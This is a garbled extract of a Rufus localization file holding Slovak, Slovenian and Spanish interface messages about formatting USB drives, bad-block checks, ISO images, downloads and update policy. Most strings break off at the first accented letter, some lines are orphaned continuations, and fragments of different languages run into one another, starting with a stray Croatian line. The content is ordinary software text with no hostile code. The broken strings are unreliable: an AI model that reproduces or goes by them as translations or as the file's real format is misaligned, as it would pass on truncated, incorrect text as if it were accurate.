na datoteka je potpisana od strane '%s'.\nOvo nije potpis koji prepozanajemo i mo
t MSG_286 "Anuliranje ure
cia Windows (In
t IDC_WINDOWS_TO_GO "Windows To Go (Prenosn
t IDC_WEBSITE "Kliknite tu, ak chcete prejs
t MSG_001 "Zisten
t MSG_002 "Program Rufus je u
t MSG_003 "VAROVANIE: PO SPUSTEN
OVOM DISKU: %s.\n"
t MSG_004 "Nastavenie automatick
t MSG_005 "Chcete povoli
t MSG_006 "Zatvori
t MSG_010 "Boli n
ch blokov: %d \n"
b: %d\n"
t MSG_012 "%s\nPodrobnej
jdete tu:\n%s"
t MSG_014 "Denne"
t MSG_016 "Mesa
a verzia: %d.%d (Build %d)"
verzia: %d.%d (Build %d)"
t MSG_026 "bitov"
t MSG_027 "kilobitov"
t MSG_028 "megabitov"
t MSG_029 "Predvolen
t MSG_030 "%s (Predvolen
ma oddielu pre BIOS alebo %s"
t MSG_038 "Ukon
t MSG_039 "Spusti
t MSG_040 "Stiahnu
t MSG_041 "Oper
t MSG_044 "Stiahnu
t MSG_047 "Zariadenie s viacer
t MSG_048 "Rufus - Vypr
t MSG_051 "Neur
t MSG_052 "Nie je mo
t MSG_053 "Pr
t MSG_054 "M
t MSG_055 "Disk je pou
t MSG_056 "R
t MSG_059 "Vybran
t MSG_060 "N
t MSG_061 "Pripojte v
t MSG_062 "Bol prijat
t MSG_063 "Chyba pri pridelen
t MSG_066 "In
t MSG_067 "Nie je mo
t MSG_068 "Chyba po
t MSG_069 "Nie je mo
t MSG_070 "Preru
t MSG_071 "Nie je mo
t MSG_074 "Rozba
t MSG_075 "Nie je mo
t MSG_076 "Nie je mo
t MSG_077 "Nie je mo
t MSG_078 "Nie je mo
t MSG_079 "Zariadenie nie je pripraven
t MSG_080 "Program Rufus zistil,
Windows dokon
t MSG_082 "Tento obraz u
t MSG_083 "Nahradenie modulu %s"
verziu modulu %s.\n"
m:\n"
bor %s bude stiahnut
t MSG_085 "S
ahovanie: %s"
t MSG_086 "Nie je vybran
t MSG_087 "Pre v
t MSG_088 "Obraz disku je pr
t MSG_089 "Obraz disku je pr
t MSG_091 "Ak pou
pre Windows. "
t MSG_094 "Boli zisten
t MSG_096 "Vybrat
t MSG_097 "'%s' m
'Windows To Go', ale va
m Windows takmer ur
t MSG_099 "Obmedzenie s
t MSG_100 "Tento ISO obraz obsahuje s
t MSG_101 "Ch
nej USB jednotky s Windows 7 a Windows Vista "
webstr
t MSG_103 "Stiahn
t MSG_104 "%s alebo vy
bor: %s.\n"
v %s ISO obrazoch, "
t MSG_106 "Vyberte prie
t MSG_110 "MS-DOS nem
ne %d:d), po
t MSG_113 "Ve
va Syslinux %s%s ale tento program obsahuje in
"Syslinux %s%s.\n\nAk nov
"z internetu (ldlinux.sys a ldlinux.bss):\n"
t MSG_115 "Je po
va bootloader Grub %s ale tento program zah
" pre Grub %s.\n\nPreto
"bootloaderu Grub ('core.img'), ktort MSG_150 "Zvy
stup k obsahu USB disku z Windowsu XP"
vo Windows XP"
t MSG_153 "Sk
vzorka: 0xX"
t MSG_154 "Sk
vzorka: 0xX, 0xX"
t MSG_155 "Sk
vzorka: 0xX, 0xX, 0xX"
t MSG_156 "Sk
vzorka: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Nastavte cie
t MSG_159 "Ak chcete nastavi
t MSG_160 "Prep
t MSG_161 "Skontrolova
t MSG_164 "Vyberte met
t MSG_165 "Stla
boru autorun.inf)"
t MSG_167 "In
t MSG_168 "Vysk
Windows XP a m
t MSG_169 "Bude naviac vytvoren
t MSG_171 "Stla
t MSG_173 "Stla
t MSG_174 "Rufus - Spo
t MSG_175 "Verzia %d.%d (Build %d)"
t MSG_176 "Do sloven
il martinco78 <mailto:martinco78@azet.sk>"
t MSG_177 "Ozn
t MSG_178 "Doplnkov
t MSG_180 "Ak povol
t MSG_181 "Architekt
ho opera
t MSG_182 "Verzia pou
t MSG_184 "Pre
t MSG_186 "Program Rufus nepobe
t MSG_189 "Tento ISO obraz nie je kompatibiln
t MSG_190 "Zisten
t MSG_191 "Prebieha z
t MSG_192 "Prebieha
t MSG_193 "Stiahnut
t MSG_194 "Nie je mo
t MSG_195 "Pou
boru (-ov) obsiahnutej verzie %s "
va %d-bitov
t MSG_197 "Zisten
t MSG_198 "'Windows To Go' m
t MSG_199 "Vyberte, ak chcete nain
Windows na in
t MSG_200 "Vyberte, ak chcete spusti
Windows priamo z vybranej jednotky."
t MSG_204 "Zisten
t MSG_206 "Ch
bor: %s"
t MSG_208 "Bolo n
%d zariadenie"
t MSG_209 "Po
t MSG_210 "PRIPRAVEN
t MSG_211 "Oper
t MSG_212 "NE
t MSG_213 "Sp
t MSG_214 "Ne
t MSG_215 "Otvoren
mu: %d/%d"
t MSG_219 "NTFS Fixup: %d%% dokon
tovanie (%s) - zost
t MSG_221 "Nastavovanie menovky (m
tovanie (%s)..."
t MSG_223 "NTFS Fixup (Kontrola disku)..."
t MSG_224 "Vymaz
t MSG_226 "Analyzovanie existuj
t MSG_227 "Uzatv
t MSG_228 "Zapisovanie hlavn
t MSG_229 "Zapisovanie boot z
t MSG_232 "Win7 EFI boot in
t MSG_234 "In
taluje sa Syslinux %s"
bloky: %s %d/%d - %0.2f%% (Chyby: %d/%d/%d)"
bloky: Testovanie s vzorkou 0xX"
ranie oddielov (%s)..."
t MSG_239 "Vymaz
t MSG_240 "S
ahovanie: %s - prip
t MSG_241 "S
t MSG_242 "Ne
t MSG_243 "Kontrola aktualiz
t MSG_244 "Aktualiz
t MSG_245 "Aktualiz
t MSG_246 "Je dostun
t MSG_247 "Nebola n
t MSG_248 "K
t MSG_250 "%s: povolen
t MSG_252 "Kontrola ve
t MSG_253 "Vyh
t MSG_254 "Form
t MSG_255 "NoDriveTypeAutorun bol vymazan
t MSG_256 "Pou
t MSG_259 "Vyn
t MSG_260 "NTFS kompresia"
t MSG_264 "Vymaz
inku: %s"
t MSG_265 "Vyh
vanie Windows obrazu: %0.1f%% hotov
vanie Windows obrazu..."
t MSG_269 "Zachova
t MSG_270 "USB ladenie"
t MSG_271 "Prebieha v
t MSG_273 "Zmeni
t MSG_274 "Bol zisten
t MSG_275 "Tento obraz bol ozna
ime '%s' (kop
ime '%s' (obraz disku).\n"
im '%s', aby ste mali pln
ime '%s'.\n\n"
t MSG_276 "Z
ime %s (odpor
t MSG_277 "Z
ime %s"
t MSG_278 "Typ bootovania"
t MSG_279 "Nie je mo
t MSG_280 "V
t MSG_281 "(Vyberte obraz)"
t MSG_282 "Uzamknutie USB zariadenia
t MSG_284 "Stiahnut
t MSG_285 "Stiahnut
sal '%s'.\nTento podpis nebol rozoznan
m IDC_NBPASSES -25,0
s IDC_NBPASSES 25,0
t IDC_WINDOWS_INSTALL "Standardna Windows namestitev"
t IDC_WEBSITE "Kliknite sem, da greste na spletno stran"
t MSG_001 "Drug primerek zaznan"
t MSG_003 "OPOZORILO: VSI PODATKI NA NAPRAVI \"%s\" BODO UNI
elite nadaljevati s to operacijo, izberite \"V redu\", druga
t MSG_004 "Rufusova posodobitvena politika"
t MSG_005 "Ali dovolite, da Rufus na internetu i
t MSG_006 "Zapri"
t MSG_007 "Prekli
t MSG_010 "Slabi bloki najdeni"
t MSG_011 "Preizkus kon
an: %d slabih blokov najdenih\n"
" Napak pri branju: %d\n Napak pri pisanju: %d\n %d corruption error(s)\n"
ilo lahko najdete v datoteki\n%s"
t MSG_013 "onemogo
t MSG_014 "dnevno"
t MSG_015 "tedensko"
t MSG_016 "mese
t MSG_017 "po meri"
a verzija: %d.%d (izgradnja %d)"
t MSG_019 "Najnovej
t MSG_020 "bajtov"
t MSG_026 "bajtov"
t MSG_027 "kilobajtov"
t MSG_028 "megabajtov"
t MSG_029 "Privzeto"
t MSG_030 "%s (privzeto)"
t MSG_031 "%s particijska shema za BIOS ali %s"
t MSG_032 "%s particijska shema za BIOS"
t MSG_033 "%s particijska shema za UEFI"
t MSG_034 "%d prehod"
t MSG_035 "%d prehoda/-i"
t MSG_036 "sliko ISO"
t MSG_039 "Za
t MSG_040 "Prenesi"
t MSG_041 "Operacijo je prekinil uporabnik"
t MSG_042 "Napaka"
t MSG_043 "Napaka: %s"
t MSG_044 "Prenos datoteke"
t MSG_045 "USB podatkovni nosilec (generi
t MSG_047 "ve
t MSG_048 "Rufus - izpiranje medpomnilnika"
t MSG_049 "Rufus - preklic"
t MSG_050 "Uspe
t MSG_051 "Nedolo
t MSG_052 "Za ta medij tega datote
t MSG_053 "Dostop do naprave je zavrnjen."
t MSG_054 "Na medij ni mogo
t MSG_055 "Napravo uporablja drug proces. "
t MSG_056 "Za to napravo hitro formatiranje ni na voljo."
t MSG_057 "Oznaka nosilca je neveljavna."
t MSG_058 "Napravin oprimek je neveljaven."
t MSG_059 "Izbrana velikost gru
t MSG_060 "Velikost nosilca je neveljavna."
t MSG_061 "Prosim, vstavite izmenljiv medij v pogon."
t MSG_062 "Prejet je bil nepodprt ukaz."
t MSG_063 "Napaka pri dodelitvi spomina."
t MSG_064 "Napaka pri branju."
t MSG_065 "Napaka pri pisanju."
t MSG_066 "Napaka pri name
t MSG_067 "Ni mogo
t MSG_068 "Napaka pri ustvarjanju particije."
t MSG_069 "Ni bilo mogo
t MSG_070 "Uporabnik je prekinil operacijo."
t MSG_071 "Niti ni mogo
t MSG_072 "Preizkus blokov se ni zaklju
t MSG_073 "Napaka pri preiskovanju ISO slike."
t MSG_074 "Napaka pri vle
t MSG_075 "Nosilca ni mogo
t MSG_076 "Ni mogo
t MSG_077 "Pogonu ni mogo
t MSG_078 "Ni mogo
t MSG_079 "Naprava ni pripravljena."
t MSG_080 "Rufus je zaznal, da Windows
akate, da Windows opravi svoje, da se izognete po
t MSG_081 "Nepodprta slika"
t MSG_082 "Ta slika ni zagonska ali pa Rufus ne podpira njenega na
t MSG_083 "Zamenjam %s?"
t MSG_084 "Zdi se, da ta ISO slika uporablja zastarelo verzijo \"%s\".\n"
"\"%s\" tam enkrat obstaja, bo samodejno uporabljena tudi v bodo
t MSG_085 "Prena
am %s"
t MSG_086 "Izbrana ni nobena slika"
t MSG_087 "Prosim, kliknite gumb s plo
t MSG_089 "Ta slika je prevelika za izbrani cilj."
t MSG_090 "Nepodprt ISO"
t MSG_091 "Za cilj UEFI so podprte samo zagonske ISO slike, zdru
t MSG_092 "Nepodprt datote
t MSG_093 "TA POGON IMA VE
uje particije, ki jih Windows niti ne prikazuje. "
t MSG_094 "Zaznanih ve
t MSG_095 "sliko DD"
t MSG_096 "Trenutno izbranega datote
t MSG_097 "'%so' je mogo
t MSG_098 "POMEMBNO: Namestiti posku
ate 'Windows To Go' na odstranljiv nosilec. "
"Windows se bo najverjetneje ustavil med zagonom, ker zagon z odstranljivega "
t MSG_099 "Omejitev datote
t MSG_100 "Ta slika vsebuje datoteko, ve
t MSG_101 "Manjkajo
"za ustvarjanje zagonskih pogonov USB z operacijskim sistemom Windows Vista ali Windows 7. "
t MSG_103 "Prenesem %s?"
t MSG_104 "%s ali novej
ena datoteka \"%s\".\n"
ja od 100 KB in je vedno prisotna na ISO slikah s %s ali novej
t MSG_105 "Preklic lahko pusti napravo v NEUPORABNEM stanju.\n"
elite operacijo preklicati, izberite DA, druga
t MSG_106 "Prosim, izberite mapo"
t MSG_107 "Vse datoteke"
t MSG_108 "Rufusov zapisnik"
t MSG_109 "0xX (disk %d)"
t MSG_110 "MS-DOS se ne more zagnati s pogona, na katerem so gru
t MSG_111 "Nezdru
t MSG_112 "Formatiranje velikih nosilcev UDF lahko traja veliko
"trajanje formatiranja %d:d, med
t MSG_113 "Velik nosilec UDF"
t MSG_114 "Ta slika uporablja Syslinux %s%s, toda ta aplikacija vsebuje le namestitvene datoteke za "
"Syslinux %s%s.\n\nKer novej
e dve dodatni datoteki (ldlinux.sys in ldlinux.bss):\n"
t MSG_115 "Prenos potreben"
t MSG_116 "Ta slika uporablja GRUB %s, toda ta aplikacija vsebuje le namestitvene datoteke za "
"GRUB %s.\n\nKer razli
al najti verzijo namestitvene datoteke za GRUB (core.img), ki se ujema s tisto na sliki:\n"
t MSG_150 "To je navadno najvarnej
"operacijski sistem v na
t MSG_151 "To mo
elite namestiti operacijski sistem v na
"do naprave USB iz operacijskega sistema Windows XP."
t MSG_152 "To je za
nost za namestitev operacijskega sistema v na
"zahtevan iz operacijskega sistema Windows XP."
t MSG_153 "Testni vzorec: 0xX"
t MSG_154 "Testni vzorec: 0xX, 0xX"
t MSG_155 "Testni vzorec: 0xX, 0xX, 0xX"
t MSG_156 "Testni vzorec: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Nastavi ciljni datote
t MSG_158 "Minimalna velikost, ki jo bo zasedel kos podatkov v datote
t MSG_159 "S tem poljem nastavite oznako pogona.\nLahko uporabite mednarodne znake (npr.
t MSG_161 "Preveri, ali so na napravi slabi bloki z uporabo testnega vzorca."
t MSG_162 "To mo
t MSG_163 "To mo
t MSG_164 "Metoda, ki bo uporabljena, da bo s pogona mogo
t MSG_165 "Kliknite, da izberete sliko
t MSG_166 "To mo
"in nastaviti ikono za napravo (to ustvari datoteko autorun.inf)."
t MSG_167 "Ta mo
t MSG_168 "Posku
ate Windows XP in imate ve
t MSG_169 "Ta mo
t MSG_170 "Omogo
t MSG_171 "Za
t MSG_172 "Licen
t MSG_173 "Kliknite, da izberete
t MSG_174 "Rufus - zanesljivi pripomo
t MSG_175 "Verzija %d.%d (izgradnja %d)"
t MSG_176 "V sloven
ino prevedel Matej Horvat <matej.horvat@guest.arnes.si>"
t MSG_177 "Prijavite hro
t MSG_178 "Dodatne avtorske pravice:"
t MSG_179 "Politika posodobitev:"
t MSG_181 "arhitektura in verzija va
ega operacijskega sistema"
t MSG_182 "verzija programa, ki jo uporabljate"
t MSG_183 "va
t MSG_184 "Za ra
t MSG_185 "Postopek posodobitve:"
t MSG_186 "Rufus ne namesti ali zaganja storitev v ozadju, zato se posodobitve prena
t MSG_187 "Neveljavna slika za izbran na
t MSG_188 "Trenutna slika se ne ujema z izbranim na
t MSG_189 "Ta slika ni zdru
t MSG_190 "Zaznana je bila nezdru
t MSG_191 "pisalni prehod"
t MSG_192 "bralni prehod"
t MSG_193 "Prenesel %s"
t MSG_194 "Ni bilo mogo
e prenesti %s."
t MSG_195 "Uporabljam vgrajeno verzijo datotek(e) %s."
t MSG_196 "OPOZORILO: TA NAPRAVA UPORABLJA NESTANDARDNO VELIKOST SEKTORJEV!\n\n"
ina naprav uporablja 512-bajtne sektorje, ta naprava pa %d-bajtne. "
t MSG_197 "Zaznana nestandardna velikost sektorjev"
t MSG_198 "'Windows To Go' je lahko name
t MSG_199 "Izberite to,
e nameravate namestiti Windows s te naprave na drug disk."
t MSG_200 "Izberite to,
elite zagnati Windows neposredno s te naprave."
t MSG_201 "Preklicujem - prosim, po
t MSG_202 "Preiskujem sliko
t MSG_203 "Preiskava slike ni uspela"
t MSG_204 "Zaznan je bil zastarel %s"
t MSG_205 "Uporabljam sliko: %s"
t MSG_206 "Manjkajo
a datoteka %s"
t MSG_207 "Nov nosilec"
t MSG_208 "%d naprava najdena"
t MSG_209 "%d naprav najdenih"
t MSG_210 "PRIPRAVLJEN"
t MSG_211 "Preklicano"
t MSG_212 "NI USPELO"
t MSG_213 "Zaganjam novo aplikacijo
t MSG_214 "Ni mogo
t MSG_215 "Odprl %s"
t MSG_216 "Shranil %s"
t MSG_217 "Formatiranje: %0.1f%% kon
t MSG_218 "Ustvarjam datote
ni sistem: opravilo %d/%d kon
t MSG_219 "Popravki za NTFS: %d%% kon
t MSG_220 "Formatiranje (%s) - predviden
as trajanja %d:d
t MSG_221 "Nastavljam oznako (to utegne trajati nekaj
t MSG_222 "Formatiranje (%s)
t MSG_223 "Popravki za NTFS (chkdsk)
t MSG_224 "Bri
t MSG_225 "Zahtevam dostop do diska
t MSG_226 "Pregledujem obstoje
t MSG_227 "Zapiram obstoje
t MSG_228 "Zapisujem glavni zagonski sektor (MBR)
t MSG_229 "Zapisujem particijske podatke
t MSG_230 "Kopiram DOS datoteke
t MSG_231 "Kopiram ISO datoteke
t MSG_232 "Pripravljam pogon za zagon Windows 7 na EFI (to lahko traja)
t MSG_233 "Zaklju
t MSG_234 "Name
am Syslinux %s
t MSG_235 "Slabi bloki: %s %d/%d - %0.2f%% (%d/%d/%d napak)"
t MSG_236 "Slabi bloki: testiram z naklju
t MSG_237 "Slabi bloki: testiram z vzorcem 0xX"
t MSG_238 "Ustvarjam particije (%s)
t MSG_240 "Prenos %s: povezovanje
t MSG_241 "Prenos: %0.1f%%"
t MSG_242 "Ni mogo
t MSG_243 "Preverjam za posodobitve Rufusa
t MSG_244 "Posodobitve: ni se mogo
t MSG_245 "Posodobitve: ni mogo
t MSG_246 "Nova verzija Rufusa je na voljo!"
t MSG_247 "Najdena ni bila nobena novej
t MSG_248 "Registrski klju
t MSG_249 "Brisanje registrskih klju
t MSG_250 "%s: omogo
t MSG_251 "%s: onemogo
t MSG_252 "Preverjanje velikosti"
t MSG_253 "Zaznava trdih diskov"
t MSG_254 "Prisili v
t MSG_255 "NoDriveTypeAutorun bo izbrisan ob izhodu"
t MSG_256 "Zaznava la
t MSG_257 "Podpora za Joliet"
t MSG_258 "Podpora za Rock Ridge"
t MSG_259 "Prisili posodobitev"
t MSG_260 "NTFS stiskanje"
t MSG_261 "Zapisujem sliko: %0.1f%%"
t MSG_262 "Podpora za slike ISO"
t MSG_263 "Uporabi enote PRAVIH velikosti"
em imenik %s"
t MSG_265 "Zaznavanje diskov VMware"
t MSG_266 "Dvojni na
t MSG_267 "Name
am sliko za Windows: %0.1f%%"
t MSG_268 "Name
am sliko za Windows
t MSG_269 "Ohranjanje
t MSG_270 "Razhro
t MSG_273 "Spremeni jezik aplikacije"
t MSG_274 "Zaznana je bila slika ISOHybrid"
t MSG_275 "Slika, ki ste jo izbrali, je vrste \"ISOHybrid\". To pomeni, da jo lahko zapi
"%s (s kopiranjem datotek) ali pa kot %s (s kopiranjem cele slike).\n"
ete kot %s, tako da boste imeli poln dostop do nosilca, ko bo slika zapisana.\n"
ete kot %s..\n\n"
t MSG_276 "Zapi
i kot %s (priporo
t MSG_277 "Zapi
i kot %s"
t MSG_278 "Na
t MSG_279 "Nezagonska"
t MSG_280 "Izbira slike"
t MSG_281 "(Izberite sliko)"
t MSG_282 "Ekskluzivno zaklepanje nosilca USB"
t MSG_283 "Neveljaven podpis"
t MSG_284 "Prenesena datoteka nima digitalnega podpisa."
t MSG_285 "Oseba, ki je podpisala preneseno datoteko, je '%s'.\nTa podpis se ne ujema s pri
t IDC_WEBSITE "Haga clic aqu
t MSG_001 "Se detect
t MSG_002 "Ya hay una intancia de Rufus ejecut
t MSG_003 "ADVERTENCIA: TODOS LOS DATOS EN %s SER
"Para seguir adelante, haga clic en OK. Para detener la operaci
t MSG_004 "Actualizaci
t MSG_006 "Cerrar"
t MSG_010 "Se encontraron bloques defectuosos"
t MSG_011 "Verificaci
n completa: se encontraron %d bloques da
" %d errores de lectura\n %d errores de escritura\n %d errores de corrupci
t MSG_012 "%s\nEl informe detallado se puede encontrar en:\n%s"
t MSG_014 "Diario"
t MSG_016 "Mensualmente"
t MSG_018 "Su versi
n: %d.%d (Build %d)"
t MSG_029 "Por defecto"
t MSG_030 "%s (Por defecto)"
t MSG_031 "Tipo de partici
n %s para BIOS o %s"
t MSG_032 "Tipo de partici
n %s para BIOS"
t MSG_033 "Tipo de partici
n %s para UEFI"
t MSG_034 "%d paso"
t MSG_035 "%d pasos"
t MSG_036 "Imagen ISO"
t MSG_037 "Aplicaci
t MSG_039 "Lanzar"
t MSG_040 "Descargar"
t MSG_041 "Operaci
t MSG_044 "Descarga de archivo"
t MSG_045 "Dispositivo de almacenamiento USB (Gen
t MSG_047 "Particiones m
t MSG_048 "Rufus - Purgando los buffers"
t MSG_049 "Rufus - Cancelaci
t MSG_051 "Error indeterminado durante el formateo."
t MSG_052 "No se puede usar el sistema de archivos seleccionado para este dispositivo."
t MSG_053 "No se permite el acceso al dispositivo."
t MSG_054 "El dispositivo est
t MSG_055 "El dispositivo est
t MSG_056 "El formateo r
t MSG_057 "La etiqueta de volumen no es v
t MSG_058 "El gestor de dispositivo no es v
t MSG_059 "El tama
t MSG_060 "El tama
t MSG_061 "Inserte un dispositivo en el lector."
t MSG_062 "Comando no soportado."
t MSG_063 "Error en la asignaci
t MSG_064 "Error de lectura."
t MSG_065 "Error de escritura."
t MSG_066 "Fallo en la instalaci
t MSG_067 "Imposible abrir el medio - otro proceso lo est
t MSG_068 "Error al particionar la unidad."
t MSG_069 "No se pudieron copiar los archivos al dispositivo destino."
t MSG_070 "Cancelado por el usuario."
t MSG_071 "No se pudo crear el hilo."
t MSG_072 "La verificaci
t MSG_073 "Fall
t MSG_074 "Fall
t MSG_075 "No se pudo volver a montar el volumen."
t MSG_076 "Imposible arreglar/configurar ficheros de arranque."
t MSG_077 "No se pudo asignar una letra de unidad."
t MSG_078 "No se pudo montar el volumen GUID."
t MSG_079 "El dispositivo no est
t MSG_080 "Rufus detect
que Windows a
"Dependiendo de la velocidad de su dispositivo USB, esta operaci
"especialmente para archivos grandes.\n\nRecomendamos que se deje a Windows terminar para que se corrompa la integridad del USB; "
t MSG_081 "Tipo de imagen no soportada"
t MSG_082 "Esta imagen ISO, o no es autoarrancable, o usa un m
n que no es soportado por Rufus..."
Reemplazar %s?"
t MSG_084 "Esta imagen ISO parece que usa una versi
n obsoleta del archivo '%s'.\n"
"un archivo\n '%s' exista ah
t MSG_085 "Descargando %s"
t MSG_086 "No hay imagen ISO seleccionada"
t MSG_087 "Presione en el bot
t MSG_088 "Imagen ISO demasiado grande"
t MSG_089 "La imagen ISO es demasiado grande para el destino seleccionado."
t MSG_090 "ISO no soportado"
t MSG_091 "Cuando se usa UEFI como tipo de destino, s
lo se soportan im
t MSG_092 "Sistema de archivos no soportado"
IMPORTANTE: ESTE DISCO CONTIENE M
menes no mostrados o incluso visibles por Windows. "
t MSG_094 "Detectadas m
t MSG_095 "Imagen DD"
t MSG_096 "El sistema de ficheros seleccionado no puede usarse con este tipo de imagen ISO "
intentando instalar 'Windows To Go', pero la unidad destino no "
"tiene el atributo 'FIXED' (fijo). Debido a esto es muy probable que Windows se detenga en el arranque "
t MSG_099 "Limitaci
t MSG_100 "Esta imagen ISO contiene un archivo de m
t MSG_101 "El soporte para archivos WIM no est
t MSG_102 "Su plataforma no puede extraer archivos de ficheros comprimidos WIM. La extracci
"es necesaria para crear dispositivos USB arrancables tipo EFI con Windows 7 y Windows Vista. "
Desea visitar la web de descargas de 7-zip?"
Descargar %s?"
t MSG_104 "%s o posterior requiere que est
instalado un archivo '%s' .\n"
genes ISO %s, Rufus no lo incluye en su distribuci
"el \n archivo '%s' ah
t MSG_105 "Cancelar ahora puede dejar el dispositivo en un estado INUTILIZABLE.\n"
t MSG_106 "Seleccione una carpeta"
t MSG_107 "Todos los archivos"
t MSG_110 "MS-DOS no puede arrancar desde un disco con un tama
t MSG_111 "Tama
t MSG_112 "Formatear un volumen UDF de gran tama
"el tiempo estimado de formateo es %d:d, durante el cual la barra de progreso parecer
t MSG_113 "Volumen UDF de gran tama
t MSG_114 "Esta imagen usa Syslinux %s%s pero este programa s
"Syslinux %s%s. \n\n Debido a que las nuevas versiones de Syslinux no son compatibles entre si, y no es posible"
"para Rufus incluirlas todas, se deben descargar dos ficheros adicionales de internet ('ldlinux.sys' y 'ldlinux.bss'):\n"7"- Elije 'No' para cancelar la operaci
t MSG_115 "Descarga requerida"
t MSG_116 "Esta imagen hace uso de Grub %s pero este programa s
"Grub %s.\n\n Debido a que las diferentes versiones de Grub no son compatibles entre ellas, y no es posible"
n de Grub 'core.img' que"
"- Elija 'Cancelar' para cancelar la operaci
t MSG_150 "Generalmente la opci
"un sistema operativo en modo EFI, debe seleccionar una de las otras opciones"
t MSG_151 "Use esta opci
n si quiere instalar un sistema operativo en modo EFI, pero desea poder acceder "
"al contenido del USB desde Windows XP"
t MSG_152 "La opci
n preferida para instalar un sistema operativo en modo EFI y "
"no se necesita leer el dispositivo USB desde Windows XP"
t MSG_153 "Patr
n de pruebas: 0xX"
t MSG_154 "Patr
n de pruebas: 0xX, 0xX"
t MSG_155 "Patr
n de pruebas: 0xX, 0xX, 0xX"
t MSG_156 "Patr
n de pruebas: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Seleccione el sistema de archivos destino"
t MSG_158 "Tama
t MSG_159 "Use este campo para establecer el nombre del volumen\nSe aceptan caracteres internacionales"
t MSG_160 "Mostrar opciones avanzadas"
t MSG_161 "Revisa el dispositivo buscando bloques defectuosos aplicando un patr
t MSG_162 "Desmarque esta opci
t MSG_163 "Marque esta opci
t MSG_165 "Haga clic para seleccionar una imagen ISO..."
t MSG_166 "Seleccione esta opci
"y establecer un icono para la unidad (crea un archivo autorun.inf)"
t MSG_167 "Instala un MBR que permite seleccionar el dispositivo de arranque y puede enmascarar "
t MSG_168 "Trata de enmascarar el primer dispositivo USB de arranque (normalmente 0x80) como un disco diferente.\n"
lo debiera ser necesario si instala Windows XP y tiene m
t MSG_169 "Crea una partici
t MSG_170 "Activa la detecci
t MSG_171 "Comienza la operaci
t MSG_172 "Informaci
t MSG_173 "Haga clic para seleccionar..."
t MSG_174 "Rufus - La fiable herramienta de formateo de USBs"
t MSG_175 "Versi
n %d.%d (Build %d)"
t MSG_176 "Traducci
Pineda <mailto:battletroll@gmail.com>\\line\n"
"\\tab\\tab\\tab MaKK <mailto:jordikab@gmail.com>"
t MSG_177 "Para indicar fallos o sugerir mejoras, dir
t MSG_178 "Derechos de autor adicionales:"
t MSG_179 "Pol
t MSG_180 "Si usted autoriza que este programa busque e instale actualizaciones por s
t MSG_181 "Arquitectura y versi
n de su sistema operativo"
t MSG_182 "La versi
t MSG_183 "Su direcci
t MSG_184 "A fin de generar estad
t MSG_185 "Proceso de actualizaci
t MSG_186 "Rufus no instala ni ejecuta ning
t MSG_187 "Imagen ISO no v
t MSG_188 "La imagen actual no coincide con la opci
t MSG_189 "Esta imagen ISO no es compatible con el sistema de archivos seleccionado"
t MSG_190 "Dispositivo incompatible detectado"
t MSG_191 "Barrido de escritura"
t MSG_192 "Barrido de lectura"
t MSG_193 "Descargado %s"
t MSG_194 "No ha podido descargar %s"
t MSG_195 "Usando la versi
n integrada de/los fichero/s %s "
IMPORTANTE: ESTE DISPOSITIVO USA UN TAMA
o de %d bytes."
t MSG_197 "Detectado tama
t MSG_198 "'Windows To Go' s
t MSG_199 "Elija esta opci
n si pretende instalar Windows en otro disco, usando el dispositivo seleccionado como medio de instalaci
t MSG_200 "Elija esta opci
n si desea iniciar Windows directamente desde el dispositivo seleccionado."
t MSG_202 "Analizando la imagen ..."
t MSG_203 "Fallo al analizar la imagen "
t MSG_204 "El archivo %s est
t MSG_205 "Usando la imagen ISO: %s"
t MSG_206 "Falta el archivo %s"
t MSG_207 "Etiqueta del volumen"
t MSG_210 "LISTO"
t MSG_211 "CANCELADO"
t MSG_212 "FALLO al realizar la operaci
t MSG_213 "Lanzando la nueva aplicaci
t MSG_214 "Error al lanzar la nueva aplicaci
t MSG_215 "%s abierto"
t MSG_217 "Formateando: %0.1f%% completo"
t MSG_218 "Creando sistema de archivos: Tarea %d/%d completa"
t MSG_219 "Arreglos en NTFS: %d%% completo"
t MSG_220 "Formateando (%s) - duraci
n estimada %d:d..."
t MSG_221 "Escribiendo la etiqueta del volumen (puede tardar un rato)..."
t MSG_222 "Formateando (%s)..."
t MSG_223 "Arreglos en NTFS (Checkdisk)..."
t MSG_224 "Limpiando las estructuras MBR/PBR/GPT..."
t MSG_225 "Solicitando acceso al disco..."
t MSG_226 "Analizando las estructuras de arranque existentes..."
t MSG_227 "Cerrando el volumen existente..."
t MSG_228 "Escribiendo el registro maestro de arranque (Master Boot Record)..."
t MSG_229 "Escribiendo el registro de arranque de la partici
t MSG_230 "Copiando archivos DOS..."
t MSG_231 "Copiando archivos ISO..."
t MSG_232 "Configuraci
t MSG_233 "Finalizando, por favor espere..."
t MSG_234 "Instalando Syslinux %s..."
t MSG_235 "Bloques da
ados: %s %d/%d - %0.2f%% (%d/%d/%d errores)"
t MSG_236 "Bloques da
t MSG_237 "Bloques da
n 0xX"
t MSG_238 "Particionando (%s)..."
t MSG_239 "Borrando particiones..."
t MSG_240 "Descargando %s: Conectando..."
t MSG_241 "Descargando: %0.1f%%"
t MSG_242 "Error al descargar el archivo."
t MSG_243 "Buscando actualizaciones de Rufus..."
t MSG_244 "Actualizaciones: No es posible conectarse a Internet"
t MSG_245 "Actualizaciones: No es posible acceder a la informaci
t MSG_247 "No hay nuevas versiones de Rufus"
t MSG_248 "Claves de la aplicaci
t MSG_249 "No se han podido eliminar las claves de la aplicaci
t MSG_250 "%s activado"
t MSG_251 "%s desactivado"
t MSG_252 "Verificaci
t MSG_253 "Detecci
t MSG_254 "Forzar formateo FAT32 largo"
t MSG_255 "Se eliminar
t MSG_256 "Simulaci
t MSG_257 "Soporte a Joliet"
t MSG_258 "Soporte a Rock Ridge"
t MSG_259 "Forzar actualizaci
t MSG_260 "Compresi
t MSG_261 "Escribiendo imagen: %0.1f%% completada"
t MSG_262 "Soporte ISO"
t MSG_263 "Usar tama
t MSG_264 "Eliminando directorio '%s'"
t MSG_265 "Detecci
t MSG_266 "Modo dual EFI/BIOS"
t MSG_267 "Aplicando imagen Windows: %0.1f%% completedo"
t MSG_268 "Aplicando imagen Windows..."
t MSG_269 "Mantener la informaci
t MSG_270 "Depuraci
t MSG_271 "Calculando checksums de la imagen: %0.1f%% completado"
t MSG_272 "Calcular los checksums MD5, SHA1 y SHA256 para la imagen seleccionada"
t MSG_273 "Cambiar idioma"
t MSG_274 "Imagen ISOHybrid detectada"
